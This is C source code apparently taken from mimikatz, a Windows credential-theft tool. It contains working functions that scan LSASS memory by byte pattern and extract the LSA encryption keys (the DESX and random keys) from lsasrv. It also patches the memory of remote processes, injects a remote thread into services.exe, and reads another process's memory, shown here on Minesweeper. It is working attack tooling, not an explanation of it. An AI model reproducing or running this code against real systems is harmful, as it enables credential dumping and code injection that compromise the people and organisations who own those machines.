BOOL kull_m_memory_search(IN PKULL_M_MEMORY_ADDRESS Pattern, IN SIZE_T Length, IN PKULL_M_MEMORY_SEARCH Search, IN BOOL bufferMeFirst) { BOOL status = FALSE; KULL_M_MEMORY_HANDLE hBuffer = {KULL_M_MEMORY_TYPE_OWN, NULL}; KULL_M_MEMORY_SEARCH sBuffer = {{{NULL, &hBuffer}, Search->kull_m_memoryRange.size}, NULL}; PBYTE CurrentPtr; PBYTE limite = (PBYTE) Search->kull_m_memoryRange.kull_m_memoryAdress.address + Search->kull_m_memoryRange.size; switch(Pattern->hMemory->type) { case KULL_M_MEMORY_TYPE_OWN: switch(Search->kull_m_memoryRange.kull_m_memoryAdress.hMemory->type) { case KULL_M_MEMORY_TYPE_OWN: for(CurrentPtr = (PBYTE) Search->kull_m_memoryRange.kull_m_memoryAdress.address; !status && (CurrentPtr + Length <= limite); CurrentPtr++) status = RtlEqualMemory(Pattern->address, CurrentPtr, Length); CurrentPtr--; break; case KULL_M_MEMORY_TYPE_PROCESS: case KULL_M_MEMORY_TYPE_FILE: case KULL_M_MEMORY_TYPE_KERNEL: if(sBuffer.kull_m_memoryRange.kull_m_memoryAdress.address = LocalAlloc(LPTR, Search->kull_m_memoryRange.size)) { if(kull_m_memory_copy(&sBuffer.kull_m_memoryRange.kull_m_memoryAdress, &Search->kull_m_memoryRange.kull_m_memoryAdress, Search->kull_m_memoryRange.size)) if(status = kull_m_memory_search(Pattern, Length, &sBuffer, FALSE)) CurrentPtr = (PBYTE) Search->kull_m_memoryRange.kull_m_memoryAdress.address + (((PBYTE) sBuffer.result) - (PBYTE) sBuffer.kull_m_memoryRange.kull_m_memoryAdress.address); LocalFree(sBuffer.kull_m_memoryRange.kull_m_memoryAdress.address); } break; case KULL_M_MEMORY_TYPE_PROCESS_DMP: if(sBuffer.kull_m_memoryRange.kull_m_memoryAdress.address = kull_m_minidump_remapVirtualMemory64(Search->kull_m_memoryRange.kull_m_memoryAdress.hMemory->pHandleProcessDmp->hMinidump, Search->kull_m_memoryRange.kull_m_memoryAdress.address, Search->kull_m_memoryRange.size)) if(status = kull_m_memory_search(Pattern, Length, &sBuffer, FALSE)) CurrentPtr = (PBYTE) Search->kull_m_memoryRange.kull_m_memoryAdress.address + (((PBYTE) sBuffer.result) - (PBYTE) sBuffer.kull_m_memoryRange.kull_m_memoryAdress.address); break; default: break; } break; default: break; } Search->result = status ? CurrentPtr : NULL; return status; }
BOOL kuhl_m_sekurlsa_utils_search_generic(PKUHL_M_SEKURLSA_CONTEXT cLsass, PKUHL_M_SEKURLSA_LIB pLib, PKULL_M_PATCH_GENERIC generics, SIZE_T cbGenerics, PVOID * genericPtr, PVOID * genericPtr1, PVOID * genericPtr2, PLONG genericOffset1) { KULL_M_MEMORY_HANDLE hLocalMemory = {KULL_M_MEMORY_TYPE_OWN, NULL}; KULL_M_MEMORY_ADDRESS aLsassMemory = {NULL, cLsass->hLsassMem}, aLocalMemory = {NULL, &hLocalMemory}; KULL_M_MEMORY_SEARCH sMemory = {{{pLib->Informations.DllBase.address, cLsass->hLsassMem}, pLib->Informations.SizeOfImage}, NULL}; PKULL_M_PATCH_GENERIC currentReference; #ifdef _M_X64 LONG offset; #endif if(currentReference = kull_m_patch_getGenericFromBuild(generics, cbGenerics, cLsass->osContext.BuildNumber)) { aLocalMemory.address = currentReference->Search.Pattern; if(kull_m_memory_search(&aLocalMemory, currentReference->Search.Length, &sMemory, FALSE)) { aLsassMemory.address = (PBYTE) sMemory.result + currentReference->Offsets.off0; // optimize one day if(genericOffset1) *genericOffset1 = currentReference->Offsets.off1; #ifdef _M_X64 aLocalMemory.address = &offset; if(pLib->isInit = kull_m_memory_copy(&aLocalMemory, &aLsassMemory, sizeof(LONG))) *genericPtr = ((PBYTE) aLsassMemory.address + sizeof(LONG) + offset); #elif defined _M_IX86 aLocalMemory.address = genericPtr; pLib->isInit = kull_m_memory_copy(&aLocalMemory, &aLsassMemory, sizeof(PVOID)); #endif if(genericPtr1) { aLsassMemory.address = (PBYTE) sMemory.result + currentReference->Offsets.off1; #ifdef _M_X64 aLocalMemory.address = &offset; if(pLib->isInit = kull_m_memory_copy(&aLocalMemory, &aLsassMemory, sizeof(LONG))) *genericPtr1 = ((PBYTE) aLsassMemory.address + sizeof(LONG) + offset); #elif defined _M_IX86 aLocalMemory.address = genericPtr1; pLib->isInit = kull_m_memory_copy(&aLocalMemory, &aLsassMemory, sizeof(PVOID)); #endif } if(genericPtr2) { aLsassMemory.address = (PBYTE) sMemory.result + currentReference->Offsets.off2; #ifdef _M_X64 aLocalMemory.address = &offset; if(pLib->isInit = kull_m_memory_copy(&aLocalMemory, &aLsassMemory, sizeof(LONG))) *genericPtr2 = ((PBYTE) aLsassMemory.address + sizeof(LONG) + offset); #elif defined _M_IX86 aLocalMemory.address = genericPtr2; pLib->isInit = kull_m_memory_copy(&aLocalMemory, &aLsassMemory, sizeof(PVOID)); #endif } } } return pLib->isInit; }
BOOL kull_m_patch(PKULL_M_MEMORY_SEARCH sMemory, PKULL_M_MEMORY_ADDRESS pPattern, SIZE_T szPattern, PKULL_M_MEMORY_ADDRESS pPatch, SIZE_T szPatch, LONG offsetOfPatch, PKULL_M_PATCH_CALLBACK pCallBackBeforeRestore, int argc, wchar_t * args[], NTSTATUS * pRetCallBack) { BOOL result = FALSE, resultBackup = !pCallBackBeforeRestore, resultProtect = TRUE; KULL_M_MEMORY_HANDLE hLocalMemory = {KULL_M_MEMORY_TYPE_OWN, NULL}; KULL_M_MEMORY_ADDRESS destination = {NULL, sMemory->kull_m_memoryRange.kull_m_memoryAdress.hMemory}; KULL_M_MEMORY_ADDRESS backup = {NULL, &hLocalMemory}; MEMORY_BASIC_INFORMATION readInfos; NTSTATUS status; DWORD flags, oldProtect = 0, tempProtect = 0; if(kull_m_memory_search(pPattern, szPattern, sMemory, TRUE)) { destination.address = (LPBYTE) sMemory->result + offsetOfPatch; if(!resultBackup) if(backup.address = LocalAlloc(LPTR, szPatch)) resultBackup = kull_m_memory_copy(&backup, &destination, szPatch); if(resultBackup) { if(kull_m_memory_query(&destination, &readInfos)) { flags = readInfos.Protect & ~0xff; if((readInfos.Protect & 0x0f) && ((readInfos.Protect & 0x0f) < PAGE_READWRITE)) tempProtect = PAGE_READWRITE; else if((readInfos.Protect & 0xf0) && ((readInfos.Protect & 0xf0) < PAGE_EXECUTE_READWRITE)) tempProtect = PAGE_EXECUTE_READWRITE; if(tempProtect) resultProtect = kull_m_memory_protect(&destination, szPatch, tempProtect | flags, &oldProtect); if(resultProtect) { if(result = kull_m_memory_copy(&destination, pPatch, szPatch)) { if(pCallBackBeforeRestore) { status = pCallBackBeforeRestore(argc, args); if(pRetCallBack) *pRetCallBack = status; result = kull_m_memory_copy(&destination, &backup, szPatch); } } if(oldProtect) kull_m_memory_protect(&destination, szPatch, oldProtect, NULL); } } if(backup.address) LocalFree(backup.address); } } return result; }
PSTR kull_m_process_getImportNameWithoutEnd(PKULL_M_MEMORY_ADDRESS base) { CHAR sEnd = '\0'; SIZE_T size; KULL_M_MEMORY_ADDRESS aStringBuffer = {NULL, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE}, aNullBuffer = {&sEnd, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE}; KULL_M_MEMORY_SEARCH sMemory = {{{base->address, base->hMemory}, MAX_PATH}, NULL}; if(kull_m_memory_search(&aNullBuffer, sizeof(sEnd), &sMemory, FALSE)) { size = (PBYTE) sMemory.result - (PBYTE) base->address + sizeof(char); if(aStringBuffer.address = LocalAlloc(LPTR, size)) if(!kull_m_memory_copy(&aStringBuffer, base, size)) aStringBuffer.address = LocalFree(aStringBuffer.address); } return (PSTR) aStringBuffer.address; }
NTSTATUS kuhl_m_minesweeper_infos(int argc, wchar_t * argv[]) { DWORD dwPid, r, c; HANDLE hProcess; PEB Peb; PIMAGE_NT_HEADERS pNtHeaders; PVOID G = NULL; STRUCT_MINESWEEPER_GAME Game; STRUCT_MINESWEEPER_BOARD Board; KULL_M_MEMORY_SEARCH sMemory = {{{NULL, NULL}, 0}, NULL}; KULL_M_MEMORY_ADDRESS aRemote = {NULL, NULL}, aBuffer = {PTRN_WIN6_Game_SafeGetSingleton, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE}; BOOL bAlloc = FALSE; LONG offsetTemp = 0; CHAR ** field = NULL; if(kull_m_process_getProcessIdForName(L"minesweeper.exe", &dwPid)) { if(hProcess = OpenProcess(PROCESS_VM_READ | PROCESS_VM_OPERATION | PROCESS_QUERY_INFORMATION, FALSE, dwPid)) { if(kull_m_memory_open(KULL_M_MEMORY_TYPE_PROCESS, hProcess, &aRemote.hMemory)) { if(kull_m_process_peb(aRemote.hMemory, &Peb, FALSE)) { aRemote.address = Peb.ImageBaseAddress; if(kull_m_process_ntheaders(&aRemote, &pNtHeaders)) { sMemory.kull_m_memoryRange.kull_m_memoryAdress.hMemory = aRemote.hMemory; sMemory.kull_m_memoryRange.kull_m_memoryAdress.address = (LPVOID) pNtHeaders->OptionalHeader.ImageBase; sMemory.kull_m_memoryRange.size = pNtHeaders->OptionalHeader.SizeOfImage; if(kull_m_memory_search(&aBuffer, sizeof(PTRN_WIN6_Game_SafeGetSingleton), &sMemory, TRUE)) { aRemote.address = (PBYTE) sMemory.result + OFFS_WIN6_ToG; #ifdef _M_X64 aBuffer.address = &offsetTemp; if(kull_m_memory_copy(&aBuffer, &aRemote, sizeof(LONG))) { aRemote.address = (PBYTE) aRemote.address + 1 + sizeof(LONG) + offsetTemp; #elif defined _M_IX86 aBuffer.address = &aRemote.address; if(kull_m_memory_copy(&aBuffer, &aRemote, sizeof(PVOID))) { #endif aBuffer.address = &G; if(kull_m_memory_copy(&aBuffer, &aRemote, sizeof(PVOID))) { aRemote.address = G; aBuffer.address = &Game; if(kull_m_memory_copy(&aBuffer, &aRemote, sizeof(STRUCT_MINESWEEPER_GAME))) { #ifdef _M_IX86 if(MIMIKATZ_NT_BUILD_NUMBER >= KULL_M_WIN_MIN_BUILD_7) Game.pBoard = Game.pBoard_WIN7x86; #endif aRemote.address = Game.pBoard; aBuffer.address = &Board; if(kull_m_memory_copy(&aBuffer, &aRemote, sizeof(STRUCT_MINESWEEPER_BOARD))) { kprintf(L"Field : %u r x %u c\nMines : %u\n\n", Board.cbRows, Board.cbColumns, Board.cbMines); if(field = (CHAR **) LocalAlloc(LPTR, sizeof(CHAR *) * Board.cbRows)) { for(r = 0, bAlloc = TRUE; (r < Board.cbRows) && bAlloc; r++) { if(field[r] = (CHAR *) LocalAlloc(LPTR, sizeof(CHAR) * Board.cbColumns)) bAlloc &= TRUE; else PRINT_ERROR(L"Memory C (R = %u)\n", r); } } else PRINT_ERROR(L"Memory R\n"); if(bAlloc) { kuhl_m_minesweeper_infos_parseField(aRemote.hMemory, Board.ref_visibles, field, TRUE); kuhl_m_minesweeper_infos_parseField(aRemote.hMemory, Board.ref_mines, field, FALSE); for(r = 0; r < Board.cbRows; r++) { kprintf(L"\t"); for(c = 0; c < Board.cbColumns; c++) kprintf(L"%C ", field[r][c]); kprintf(L"\n"); } } if(field) { for(r = 0; r < Board.cbRows; r++) { if(field[r]) LocalFree(field[r]); } LocalFree(field); } } else PRINT_ERROR(L"Board copy\n"); } else PRINT_ERROR(L"Game copy\n"); } else PRINT_ERROR(L"G copy\n"); } else PRINT_ERROR(L"Global copy\n"); } else PRINT_ERROR(L"Search is KO\n"); LocalFree(pNtHeaders); } else PRINT_ERROR(L"Minesweeper NT Headers\n"); } else PRINT_ERROR(L"Minesweeper PEB\n"); kull_m_memory_close(aRemote.hMemory); } CloseHandle(hProcess); } else PRINT_ERROR_AUTO(L"OpenProcess"); } else PRINT_ERROR(L"No MineSweeper in memory!\n"); return STATUS_SUCCESS; } void kuhl_m_minesweeper_infos_parseField(PKULL_M_MEMORY_HANDLE hMemory, PSTRUCT_MINESWEEPER_REF_ELEMENT base, CHAR ** field, BOOL isVisible) { STRUCT_MINESWEEPER_REF_ELEMENT ref_first_element; PSTRUCT_MINESWEEPER_REF_ELEMENT * ref_columns_elements; STRUCT_MINESWEEPER_REF_ELEMENT ref_column_element; DWORD c, r, szFinalElement = isVisible ? sizeof(DWORD) : sizeof(BYTE); KULL_M_MEMORY_ADDRESS aRemote = {base, hMemory}, aLocal = {&ref_first_element, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE}; if(kull_m_memory_copy(&aLocal, &aRemote, sizeof(STRUCT_MINESWEEPER_REF_ELEMENT))) { if(ref_columns_elements = (PSTRUCT_MINESWEEPER_REF_ELEMENT *) LocalAlloc(LPTR, sizeof(PSTRUCT_MINESWEEPER_REF_ELEMENT) * ref_first_element.cbElements)) { aLocal.address = ref_columns_elements; aRemote.address = ref_first_element.elements; if(kull_m_memory_copy(&aLocal, &aRemote, ref_first_element.cbElements * sizeof(PSTRUCT_MINESWEEPER_REF_ELEMENT))) { for(c = 0; c < ref_first_element.cbElements; c++) { aLocal.address = &ref_column_element; aRemote.address = ref_columns_elements[c]; if(kull_m_memory_copy(&aLocal, &aRemote, sizeof(STRUCT_MINESWEEPER_REF_ELEMENT))) { if(aLocal.address = LocalAlloc(LPTR, szFinalElement * ref_column_element.cbElements)) { aRemote.address = ref_column_element.elements; if(kull_m_memory_copy(&aLocal, &aRemote, szFinalElement * ref_column_element.cbElements)) { for(r = 0; r < ref_column_element.cbElements; r++) { if(isVisible) field[r][c] = DISP_MINESWEEPER[((DWORD *)(aLocal.address))[r]]; else if(((BYTE *)(aLocal.address))[r]) field[r][c] = '*'; } } else PRINT_ERROR(L"Unable to read elements from column: %u\n", c); LocalFree(aLocal.address); } } else PRINT_ERROR(L"Unable to read references from column: %u\n", c); } } else PRINT_ERROR(L"Unable to read references\n"); LocalFree(ref_columns_elements); } } else PRINT_ERROR(L"Unable to read first element\n"); }
NTSTATUS kuhl_m_sekurlsa_nt5_init() { struct {PVOID LsaIRegisterNotification; PVOID LsaICancelNotification;} extractPkgFunctionTable; KULL_M_MEMORY_HANDLE hMemory = {KULL_M_MEMORY_TYPE_OWN, NULL}; KULL_M_MEMORY_ADDRESS aMemory = {&extractPkgFunctionTable, &hMemory}; KULL_M_MEMORY_SEARCH sMemory/* = {{{NULL, &hMemory}, 0}, NULL}*/; KULL_M_PROCESS_VERY_BASIC_MODULE_INFORMATION vbInfos; if(!NT_SUCCESS(kuhl_m_sekurlsa_nt5_KeyInit)) { if(!kuhl_m_sekurlsa_nt5_hLsasrv) kuhl_m_sekurlsa_nt5_hLsasrv = LoadLibrary(L"lsasrv"); if(kuhl_m_sekurlsa_nt5_hLsasrv) { if(kull_m_process_getVeryBasicModuleInformationsForName(&hMemory, L"lsasrv.dll", &vbInfos)) { sMemory.kull_m_memoryRange.kull_m_memoryAdress = vbInfos.DllBase; sMemory.kull_m_memoryRange.size = vbInfos.SizeOfImage; if(!kuhl_m_sekurlsa_nt5_pLsaUnprotectMemory) { if( (extractPkgFunctionTable.LsaICancelNotification = GetProcAddress(kuhl_m_sekurlsa_nt5_hLsasrv, "LsaICancelNotification")) && (extractPkgFunctionTable.LsaIRegisterNotification = GetProcAddress(kuhl_m_sekurlsa_nt5_hLsasrv, "LsaIRegisterNotification")) ) { if(kull_m_memory_search(&aMemory, sizeof(extractPkgFunctionTable), &sMemory, FALSE)) { kuhl_m_sekurlsa_nt5_pLsaProtectMemory = ((PLSA_SECPKG_FUNCTION_TABLE) ((PBYTE) sMemory.result - FIELD_OFFSET(LSA_SECPKG_FUNCTION_TABLE, RegisterNotification)))->LsaProtectMemory; kuhl_m_sekurlsa_nt5_pLsaUnprotectMemory = ((PLSA_SECPKG_FUNCTION_TABLE) ((PBYTE) sMemory.result - FIELD_OFFSET(LSA_SECPKG_FUNCTION_TABLE, RegisterNotification)))->LsaUnprotectMemory; } } } if(kuhl_m_sekurlsa_nt5_pLsaUnprotectMemory) { aMemory.address = PTRN_WNT5_LsaInitializeProtectedMemory_KEY; if(kull_m_memory_search(&aMemory, sizeof(PTRN_WNT5_LsaInitializeProtectedMemory_KEY), &sMemory, FALSE)) { #ifdef _M_X64 g_Feedback = (PBYTE )(((PBYTE) sMemory.result + OFFS_WNT5_g_Feedback) + sizeof(LONG) + *(LONG *)((PBYTE) sMemory.result + OFFS_WNT5_g_Feedback)); g_pRandomKey = (PBYTE *)(((PBYTE) sMemory.result + OFFS_WNT5_g_pRandomKey) + sizeof(LONG) + *(LONG *)((PBYTE) sMemory.result + OFFS_WNT5_g_pRandomKey)); g_pDESXKey = (PBYTE *)(((PBYTE) sMemory.result + OFFS_WNT5_g_pDESXKey) + sizeof(LONG) + *(LONG *)((PBYTE) sMemory.result + OFFS_WNT5_g_pDESXKey)); g_cbRandomKey = (PDWORD )(((PBYTE) sMemory.result + OFFS_WNT5_g_cbRandomKey) + sizeof(LONG) + *(LONG *)((PBYTE) sMemory.result + OFFS_WNT5_g_cbRandomKey)); #elif defined _M_IX86 g_Feedback = *(PBYTE *)((PBYTE) sMemory.result + OFFS_WNT5_g_Feedback); g_pRandomKey = *(PBYTE **)((PBYTE) sMemory.result + OFFS_WNT5_g_pRandomKey); g_pDESXKey = *(PBYTE **)((PBYTE) sMemory.result + OFFS_WNT5_g_pDESXKey); g_cbRandomKey = *(PDWORD *)((PBYTE) sMemory.result + OFFS_WNT5_g_cbRandomKey); #endif if(g_Feedback && g_pRandomKey && g_pDESXKey && g_cbRandomKey) { *g_cbRandomKey = 256; *g_pRandomKey = (PBYTE) LocalAlloc(LPTR, *g_cbRandomKey); *g_pDESXKey = (PBYTE) LocalAlloc(LPTR, 144); if(*g_pRandomKey && *g_pDESXKey) kuhl_m_sekurlsa_nt5_KeyInit = STATUS_SUCCESS; } } } } } } return kuhl_m_sekurlsa_nt5_KeyInit; }
NTSTATUS kuhl_m_sekurlsa_nt5_acquireKeys(PKUHL_M_SEKURLSA_CONTEXT cLsass, PKULL_M_PROCESS_VERY_BASIC_MODULE_INFORMATION lsassLsaSrvModule) { NTSTATUS status = STATUS_NOT_FOUND; KULL_M_MEMORY_HANDLE hLocalMemory = {KULL_M_MEMORY_TYPE_OWN, NULL}; KULL_M_MEMORY_ADDRESS aLsassMemory = {NULL, cLsass->hLsassMem}, aLocalMemory = {PTRN_WNT5_LsaInitializeProtectedMemory_KEY, &hLocalMemory}; KULL_M_MEMORY_SEARCH sMemory = {{{lsassLsaSrvModule->DllBase.address, cLsass->hLsassMem}, lsassLsaSrvModule->SizeOfImage}, NULL}; #ifdef _M_X64 LONG offset64; #endif if(kull_m_memory_search(&aLocalMemory, sizeof(PTRN_WNT5_LsaInitializeProtectedMemory_KEY), &sMemory, FALSE)) { aLsassMemory.address = (PBYTE) sMemory.result + OFFS_WNT5_g_Feedback; #ifdef _M_X64 aLocalMemory.address = &offset64; if(kull_m_memory_copy(&aLocalMemory, &aLsassMemory, sizeof(LONG))) { aLsassMemory.address = (PBYTE) sMemory.result + OFFS_WNT5_g_Feedback + sizeof(LONG) + offset64; #elif defined _M_IX86 aLocalMemory.address = &aLsassMemory.address; if(kull_m_memory_copy(&aLocalMemory, &aLsassMemory, sizeof(PVOID))) { #endif aLocalMemory.address = g_Feedback; if(kull_m_memory_copy(&aLocalMemory, &aLsassMemory, 8)) { aLsassMemory.address = (PBYTE) sMemory.result + OFFS_WNT5_g_pDESXKey; if(kuhl_m_sekurlsa_nt5_acquireKey(&aLsassMemory, *g_pDESXKey, 144)) { aLsassMemory.address = (PBYTE) sMemory.result + OFFS_WNT5_g_pRandomKey; if(kuhl_m_sekurlsa_nt5_acquireKey(&aLsassMemory, *g_pRandomKey, 256)) status = STATUS_SUCCESS; } } } } return status; } BOOL kuhl_m_sekurlsa_nt5_acquireKey(PKULL_M_MEMORY_ADDRESS aLsassMemory, PBYTE Key, SIZE_T taille) { BOOL status = FALSE; KULL_M_MEMORY_HANDLE hLocalMemory = {KULL_M_MEMORY_TYPE_OWN, NULL}; KULL_M_MEMORY_ADDRESS aLocalMemory = {&aLsassMemory->address, &hLocalMemory}; #ifdef _M_X64 LONG offset64; aLocalMemory.address = &offset64; if(kull_m_memory_copy(&aLocalMemory, aLsassMemory, sizeof(LONG))) { aLsassMemory->address = (PBYTE) aLsassMemory->address + sizeof(LONG) + offset64; aLocalMemory.address = &aLsassMemory->address; #elif defined _M_IX86 if(kull_m_memory_copy(&aLocalMemory, aLsassMemory, sizeof(PVOID))) { #endif if(kull_m_memory_copy(&aLocalMemory, aLsassMemory, sizeof(PVOID))) { aLocalMemory.address = Key; status = kull_m_memory_copy(&aLocalMemory, aLsassMemory, taille); } } return status; }
BOOL kuhl_service_sendcontrol_inprocess(PWSTR ServiceName, DWORD dwControl) { BOOL status = FALSE; DWORD processId, szCode; PVOID pCode; HANDLE hProcess; KULL_M_MEMORY_ADDRESS aRemoteFunc; KULL_M_MEMORY_ADDRESS aLocalMemory = {NULL, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE}; KULL_M_MEMORY_SEARCH sMemory; PKULL_M_PATCH_GENERIC currentReference; PEB Peb; PIMAGE_NT_HEADERS pNtHeaders; PREMOTE_LIB_INPUT_DATA iData; REMOTE_LIB_OUTPUT_DATA oData; if(kull_m_process_getProcessIdForName(L"services.exe", &processId)) { if(hProcess = OpenProcess(PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_QUERY_INFORMATION | PROCESS_CREATE_THREAD, FALSE, processId)) { if(kull_m_memory_open(KULL_M_MEMORY_TYPE_PROCESS, hProcess, &sMemory.kull_m_memoryRange.kull_m_memoryAdress.hMemory)) { if(!pScSendControl) { if(kull_m_process_peb(sMemory.kull_m_memoryRange.kull_m_memoryAdress.hMemory, &Peb, FALSE)) { sMemory.kull_m_memoryRange.kull_m_memoryAdress.address = Peb.ImageBaseAddress; if(kull_m_process_ntheaders(&sMemory.kull_m_memoryRange.kull_m_memoryAdress, &pNtHeaders)) { sMemory.kull_m_memoryRange.kull_m_memoryAdress.address = (LPVOID) pNtHeaders->OptionalHeader.ImageBase; sMemory.kull_m_memoryRange.size = pNtHeaders->OptionalHeader.SizeOfImage; if(currentReference = kull_m_patch_getGenericFromBuild(ScSendControlReferences, ARRAYSIZE(ScSendControlReferences), MIMIKATZ_NT_BUILD_NUMBER)) { aLocalMemory.address = currentReference->Search.Pattern; if(kull_m_memory_search(&aLocalMemory, currentReference->Search.Length, &sMemory, FALSE)) pScSendControl = (PBYTE) sMemory.result + currentReference->Offsets.off0; else PRINT_ERROR_AUTO(L"kull_m_memory_search"); } LocalFree(pNtHeaders); } } } if(pScSendControl) { if(MIMIKATZ_NT_BUILD_NUMBER < KULL_M_WIN_BUILD_8) { szCode = (DWORD) ((PBYTE) kuhl_service_sendcontrol_std_thread_end - (PBYTE) kuhl_service_sendcontrol_std_thread); pCode = kuhl_service_sendcontrol_std_thread; } else { szCode = (DWORD) ((PBYTE) kuhl_service_sendcontrol_fast_thread_end - (PBYTE) kuhl_service_sendcontrol_fast_thread); pCode = kuhl_service_sendcontrol_fast_thread; } if(kull_m_remotelib_CreateRemoteCodeWitthPatternReplace(sMemory.kull_m_memoryRange.kull_m_memoryAdress.hMemory, pCode, szCode, NULL, &aRemoteFunc)) { if(iData = kull_m_remotelib_CreateInput(pScSendControl, dwControl, (DWORD) (wcslen(ServiceName) + 1) * sizeof(wchar_t), ServiceName)) { if(kull_m_remotelib_create(&aRemoteFunc, iData, &oData)) { if(oData.outputStatus) kprintf(L"error %u\n", oData.outputStatus); else kprintf(L"OK!\n"); } else PRINT_ERROR_AUTO(L"kull_m_remotelib_create"); LocalFree(iData); } kull_m_memory_free(&aRemoteFunc, 0); } else PRINT_ERROR(L"kull_m_remotelib_CreateRemoteCodeWitthPatternReplace\n"); } else PRINT_ERROR(L"Not available without ScSendControl\n"); kull_m_memory_close(sMemory.kull_m_memoryRange.kull_m_memoryAdress.hMemory); } CloseHandle(hProcess); } else PRINT_ERROR_AUTO(L"OpenProcess"); } return status; }